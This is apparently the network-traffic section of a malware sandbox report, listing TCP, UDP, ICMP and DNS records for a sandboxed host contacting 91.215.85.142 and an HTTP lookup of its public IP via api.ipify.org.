Nov 5, 2024 13:23:28.271847010 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.272110939 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:28.272660017 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.272672892 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.272685051 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:28.274734020 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:28.981560946 CET	49801	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:29.299567938 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:29.304893017 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:29.305373907 CET	80	49788	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:29.306438923 CET	49788	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:29.309870005 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:29.315087080 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:29.317025900 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:29.321901083 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:29.982965946 CET	49801	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:30.207827091 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.207921982 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.208228111 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.208266020 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.208334923 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.208461046 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.208476067 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.209033966 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.209048986 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.209060907 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.209278107 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.209841013 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.209857941 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.210649967 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.213175058 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.213802099 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.556864023 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.557324886 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.562232971 CET	80	49802	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.562952042 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:30.563081026 CET	49802	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.563152075 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.564204931 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:30.569106102 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.452996016 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.453157902 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.453169107 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.453639030 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.453651905 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.453663111 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.454468012 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.454484940 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.454497099 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.454916954 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.457211971 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.457212925 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.658207893 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.658639908 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.663558006 CET	80	49808	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.664232969 CET	49808	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.665179968 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.666894913 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.668910027 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:31.673722029 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:31.982666016 CET	49801	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:32.564013004 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564100981 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.564126968 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564172983 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.564302921 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564352989 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.564657927 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564671040 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564683914 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.564707041 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.564732075 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.565442085 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.565454960 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.565465927 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.565500021 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.565526009 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.929366112 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:32.934808969 CET	80	49819	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:32.934876919 CET	49819	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:33.011660099 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:33.016654015 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.017076969 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:33.058063984 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:33.062889099 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.939791918 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.939842939 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.939855099 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940294027 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940306902 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940319061 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940696955 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940707922 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940720081 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.940732956 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.958950996 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:33.961663008 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:33.967681885 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.846077919 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.846649885 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.851558924 CET	80	49825	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:34.851577997 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:34.852926016 CET	49825	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.852952957 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.853372097 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:34.858238935 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.756622076 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.756815910 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.756850958 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.756906986 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.756927013 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.756963015 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.757169008 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.757181883 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.757258892 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.757625103 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.757637024 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.757707119 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.758080959 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.758093119 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.758104086 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.758163929 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.758204937 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.762063980 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:35.762149096 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:35.986083984 CET	49801	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:40.914869070 CET	80	49838	91.215.85.142	192.168.2.10
Nov 5, 2024 13:23:40.914942980 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:23:43.987787008 CET	49801	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:49.997534037 CET	49926	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:51.003370047 CET	49926	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:53.003400087 CET	49926	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:57.003334999 CET	49926	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:24:05.003283024 CET	49926	135	192.168.2.10	192.168.2.1
Nov 5, 2024 13:25:14.299917936 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:14.299987078 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:25:14.305459023 CET	80	49769	104.26.12.205	192.168.2.10
Nov 5, 2024 13:25:14.305864096 CET	49769	80	192.168.2.10	104.26.12.205
Nov 5, 2024 13:25:14.612318993 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:15.221592903 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:16.424773932 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:18.830984116 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:23.643522024 CET	49838	80	192.168.2.10	91.215.85.142
Nov 5, 2024 13:25:33.252736092 CET	49838	80	192.168.2.10	91.215.85.142

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 13:23:24.818913937 CET	63632	53	192.168.2.10	1.1.1.1
Nov 5, 2024 13:23:24.825896025 CET	53	63632	1.1.1.1	192.168.2.10
Nov 5, 2024 13:23:28.956908941 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:28.977669001 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:28.980178118 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:49.991449118 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:49.992461920 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:49.995754957 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:23:49.996659994 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:24:11.005496025 CET	52551	274	192.168.2.10	192.168.2.1
Nov 5, 2024 13:25:14.336812019 CET	52551	274	192.168.2.10	192.168.2.1

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 5, 2024 13:23:28.956964016 CET	192.168.2.1	192.168.2.10	8319	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:28.977713108 CET	192.168.2.1	192.168.2.10	8319	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:28.980190039 CET	192.168.2.1	192.168.2.10	8319	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:28.981630087 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:29.983098984 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:31.982716084 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:35.986140013 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:43.987843037 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:49.991482973 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:49.992472887 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:49.995762110 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:49.996665001 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:49.997575045 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:51.003411055 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:53.003458023 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:23:57.003372908 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:24:05.003345966 CET	192.168.2.1	192.168.2.10	827f	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:24:11.005553007 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable
Nov 5, 2024 13:25:14.336863995 CET	192.168.2.1	192.168.2.10	8315	(Port unreachable)	Destination Unreachable

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 13:23:11.976799011 CET	1.1.1.1	192.168.2.10	0xb600	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 13:23:11.976799011 CET	1.1.1.1	192.168.2.10	0xb600	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 5, 2024 13:23:24.825896025 CET	1.1.1.1	192.168.2.10	0x11fe	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 5, 2024 13:23:24.825896025 CET	1.1.1.1	192.168.2.10	0x11fe	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 5, 2024 13:23:24.825896025 CET	1.1.1.1	192.168.2.10	0x11fe	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 13:23:24.837909937 CET	137	OUT	GET / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: api.ipify.org Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 13:23:25.543059111 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 12:23:25 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8ddcd09fc92d2d29-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=137&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 Data Ascii: 173.254.250.76